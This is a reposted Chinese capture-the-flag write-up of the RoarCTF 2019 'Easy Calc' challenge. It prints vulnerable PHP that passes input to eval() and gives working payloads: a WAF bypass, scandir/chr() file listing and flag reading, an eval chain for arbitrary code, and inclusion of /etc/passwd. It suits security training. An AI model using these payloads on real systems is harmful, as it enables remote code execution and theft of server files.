[RoarCTF 2019]Easy Calc1 wp

[RoarCTF 2019]Easy Calc1 wp

预测试
手工测试

在这里插入图片描述

这个页面实现了一个简单的计算器功能,当输入 1+1 时能正确返回执行结果 2,

但当输入 1+1&&ifconfig 之类的表达式时,会出现弹窗:

在这里插入图片描述

查看源码

在这里插入图片描述

前端页面调用了一个函数,对用户输入做了一个简单的处理。该页面提示使用了 waf ,并且可以发现有一个 calc.php 文件,并且可以通过 get 传参,参数是 num 。

访问 calc.php 页面
<?php 
error_reporting(0); 
if(!isset($_GET['num'])){   show_source(__FILE__); 
}else{     $str = $_GET['num'];     $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];     foreach ($blacklist as $blackitem) {         if (preg_match('/' . $blackitem . '/m', $str)) {             die("what are you want to do?");         }     }     eval('echo '.$str.';'); 
} 
?> 

直接给出了 php 源码。

首先,代码通过 error_reporting(0) 关闭所有错误和警告的输出。

然后,代码判断是否存在 GET 参数 num 。如果 num 不存在,则显示当前脚本的源代码,即显示自身的代码。

如果 num 存在,则将获取到的值赋给变量 $str 。接下来,代码定义一个黑名单数组 $blacklist ,包含了一些需要过滤的特殊字符和字符串。

然后,代码使用 foreach 循环遍历黑名单数组 $blacklist 。在每次循环中,代码使用 preg_match() 函数对 $str 进行匹配,判断是否包含黑名单中的任何一个特殊字符或字符串。如果匹配成功,即 $str 中包含黑名单中的特殊字符或字符串,代码会输出 " what are you want to do? " 并终止脚本的执行。

如果没有匹配到任何黑名单字符,代码会使用 eval() 函数执行一个动态的 PHP 代码字符串,即将$str作为被执行的PHP代码。这段代码的作用是输出 $str 中的内容。

waf 绕过

尝试直接访问:node4.buuoj.cn:29780/calc.php?num=system('ls');,返回结果:

在这里插入图片描述

假设是被上面的 php 文件中的过滤机制过滤了,那么应该输出:what are you want to do? ,这句话才对,但是出现这种画面,应该是被防火墙拦截了。

空格绕过 waf

在 num 参数前加上一个空格,即:node4.buuoj.cn:29780/calc.php? num=system('ls');

返回结果:

在这里插入图片描述

这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。

空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

黑名单绕过

这里可以用到无参函数 RCE 的 payload

传入参数:calc.php? num=var_dump(scandir(current(localeconv())));

查看当前目录下的文件
  1. localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
  2. current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。
  3. scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表。
  4. 最后使用 var_dump() 函数将该列表输出到页面上。

但其实这里可以更简单:

calc.php? num=var_dump(scandir(chr(46)));

46 是 “.” 的 ASCII 码值,返回结果:

在这里插入图片描述

因为可以有参数嘛。用 chr() 函数将数字变为字符。

同理查看根目录下的文件:calc.php? num=var_dump(scandir(chr(47)));

47 是 “/” 的 ASCII 码值,返回结果:

在这里插入图片描述

找到一个名为 f1agg 的文件。

查看 /f1agg 文件

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

file_get_contents() 函数把整个文件读入一个字符串中。

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

分别是 ‘/’ ‘f’ ‘1’ ‘a’ ‘g’ ‘g’ 的 ASCII 值转字符,‘.’ 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

返回结果:

在这里插入图片描述

新的思路 - url 溢出

此外,舍友提出了一种新思路:

查看 phpinfo()

? num=1;eval(end(pos(get_defined_vars())))&nss=phpinfo();

get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET , _POST , _COOKIE , _FILES 全局变量的值,返回数组顺序为 get->post->cookie->files 。

current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。

end() : 将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。

最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。

这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。

上面代码的返回结果为:

在这里插入图片描述

可以看到成功执行了 phpinfo()

在这里插入图片描述

在 disable_functions 处发现禁用的函数太多了,还是没有办法任意代码执行。不过 include 函数似乎没被禁用。

查看 /etc/passwd 文件

? num=1;eval(end(pos(get_defined_vars())))&nss=include("/etc/passwd");

输出结果:

在这里插入图片描述

有点意思。

http 请求走私

绕过 waf 的方式还有一种 - http 请求走私。

在这里插入图片描述

大致原理就是使用了两个 Content-Length 头,使得前端无法识别,直接将整个包完全发给了后端。但这样还是要接受后端的黑名单过滤,所以 num 传参还是不能为所欲为。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/223297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

掌握 RPC 接口测试:一篇详尽的接口测试手册

RPC 是什么&#xff1f; 远程过程调用协议&#xff08;RPC&#xff09;是一种技术&#xff0c;它允许在不同的机器上执行函数&#xff0c;就好像这些函数是本地调用一样。简单地说&#xff0c;客户端系统透明地从网络上的远程服务器软件请求服务&#xff0c;而无需理解复杂的网…

借助文档控件Aspose.Words,在Java中比较 Word、PDF 和 PPT 文档

文档比较是各个领域的一项关键任务&#xff0c;包括法律、出版和内容管理。它确保准确跟踪和审查对合同、报告或法律协议等文档的更改。Java 开发人员经常寻求高效可靠的方法来执行文档比较&#xff0c;而Aspose提供了强大的解决方案。在这篇博文中&#xff0c;我们将探讨如何高…

浏览器的事件循环机制(Event loop)

事件循环 浏览器的进程模型 何为进程&#xff1f; 程序运行需要有它自己专属的内存空间&#xff0c;可以把这块内存空间简单的理解为进程 每个应用至少有一个进程&#xff0c;进程之间相互独立&#xff0c;即使要通信&#xff0c;也需要双方同意。 何为线程&#xff1f; …

C语言——字符函数和字符串函数(二)

&#x1f4dd;前言&#xff1a; 上一篇文章C语言——字符函数和字符串函数&#xff08;一&#xff09;对字符函数和字符串函数strlen&#xff0c;strcpy和strncpy&#xff0c;strcat和strncat进行了初步的讲解 这篇文章主要再讲解几个我们常用到的其他字符串函数&#xff08;附…

teamCity使用

1.server部署 2.地址 http://10.172.48.7:32204/favorite/projects?modebuilds 3.新增项目 拉取git项目 编辑配置 复制其他项目配置 步骤1.Maven 步骤2 build image 步骤3 push image 步骤4 deploy to k8s

mfc140u.dll丢失的解决方法的详细介绍,六种解决mfc140u.dll丢失的方法

今天的这篇文章将向各位分享一个有关电脑出现关于丢失mfc140u.dll错误的弹窗问题&#xff0c;这是一个很常见的问题。无论你是一名大学生还是其他身份&#xff0c;都可能会遇到这个问题。下面我会对mfc140u.dll丢失的解决方法进行详细的介绍。 一.六种解决mfc140u.dll丢失的方法…

Android笔记(十八):面向Compose组件结合Retrofit2和Rxjava3实现网络访问

一、Retrofit2 Square公司推出的Retrofit2库&#xff08;https://square.github.io/retrofit/&#xff09;&#xff0c;改变了网络访问的方式。它实现了网络请求的封装。Retrofit库采用回调处理方式&#xff0c;使得通过接口提交请求和相应的参数的配置&#xff0c;就可以获得…

辅助电源交流220V转5V200mA输出,不需要变压器

辅助电源交流220V转5V200mA输出&#xff0c;不需要变压器。 在当今智能家居、小家电等电子产品日益普及的时代&#xff0c;对辅助电源的需求也越来越大。一款高效、低成本、小巧封装的辅助电源芯片成为众多产品的迫切需求。今天&#xff0c;我们将为您介绍一款交流220V转5V200m…

Bytebase 2.12.0 - 改进自动补全和布局导航

&#x1f680; 新功能 支持 MySQL 高级自动补全。支持从 UI 上导入分类分级配置。 &#x1f514; 重大变更 作废已有企业版试用证书。之后可以通过提交申请获取新的试用证书。 &#x1f384; 改进 改进整体布局和导航。 支持在 SQL 编辑器里显示以及查询 PostgreSQL 数据…

“机器人V2.0时代已来”-任务规划难题迎刃而解,世界因机器人改变而翻转!

01-VILA背景简介 2022年&#xff0c;Michael Ahn, Anthony Brohan等人提出“Do as i can, not as i say: Grounding language in robotic affordances”算法。本文指出虽然大型语言模型可以编码关于世界的丰富语义知识&#xff0c;而这些知识对旨在对用自然语言表达的高级、时…

MAC配置环境变量

1、配置 JAVA JDK 1.1、查看 JDK 安装目录 &#xff08;1&#xff09;可以在Android Studio中查看&#xff0c;复制该路径 &#xff08;2&#xff09;也可以在官网下载 Java JDK下载地址 mac中的安装地址是"资源库->Java->JavaVirtualMachines"中 1.2、…

SQLMAP的使用(rails 为例)

1.启动一个项目&#xff0c;例如rails学习的项目&#xff0c;修改config/database.yml&#xff0c; 假设来一个接口&#xfeff; class YourModel::YourController < ApplicationController def test_sqlisql "select * from your_table_name where id " par…

scratch认识图形 2023年12月中国电子学会 图形化编程 scratch编程等级考试二级真题和答案解析

目录 scratch认识图形 一、题目要求 1、准备工作 2、功能实现 二、案例分析

编程性能调优方案

微信公众号转载&#xff0c;关注微信公众号掌握更多技术动态 --------------------------------------------------------------- 一、字符串与集合性能优化 1.String 对象的实现 在 Java 语言中&#xff0c;Sun 公司的工程师们对 String 对象做了大量的优化&#xff0c;来节…

【机器学习】利用线性回归预测披萨价格

目录 前言 一、绘制散点图 二、数据准备 三、一元线性回归模型训练 四、一元线性回归模型评估 总结 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Filotimo__✍️原创&#xff0c;首…

vue运行项目时network:unavailble的解决方法

先看问题&#xff1a; 解决方法&#xff1a; 1、找到环境变量 2、找到系统变量中的变量Path&#xff1a;点击编辑 3、打开后新建文本 C:\windows\System32\Wbem 复制粘贴即可 3、最后重启vscode运行即可&#xff1a; 错误原因&#xff1a; 因为WBEM是管理协议和网络标准技术…

‘BLEUUID‘ does not name a type错误怎么解决?

摘要&#xff1a;arduino环境下对esp32蓝牙编程时会遇到BLEUUID does not name a type错误&#xff0c;本文介绍解决方法。 硬件设备是安信可ESP32-S模组。 错误发生在代码最开始的地方&#xff0c;include了一个蓝牙设备头文件&#xff0c;然后定义了UUID&#xff0c;注意看&a…

HTTP 302错误:临时重定向

在Web开发中&#xff0c;HTTP状态码是用于表示Web服务器响应的各种状态。其中&#xff0c;HTTP 302错误表示临时重定向&#xff0c;这意味着请求的资源已被临时移动到其他位置&#xff0c;并且服务器已经提供了新的URL&#xff0c;以便客户端可以重新发送请求。 了解HTTP 302错…

言简意赅的 el-table 跨页多选

步骤一 在<el-table>中:row-key"getRowKeys"和selection-change"handleSelectionChange" 在<el-table-column>中type"selection"那列&#xff0c;添加:reserve-selection"true" <el-table:data"tableData"r…

联邦蒸馏中的分布式知识一致性 | TIST 2024

联邦蒸馏中的分布式知识一致性 | TIST 2024 联邦学习是一种隐私保护的分布式机器学习范式&#xff0c;服务器可以在不汇集客户端私有数据的前提下联合训练机器学习模型。通信约束和系统异构是联邦学习面临的两大严峻挑战。为同时解决上述两个问题&#xff0c;联邦蒸馏技术被提…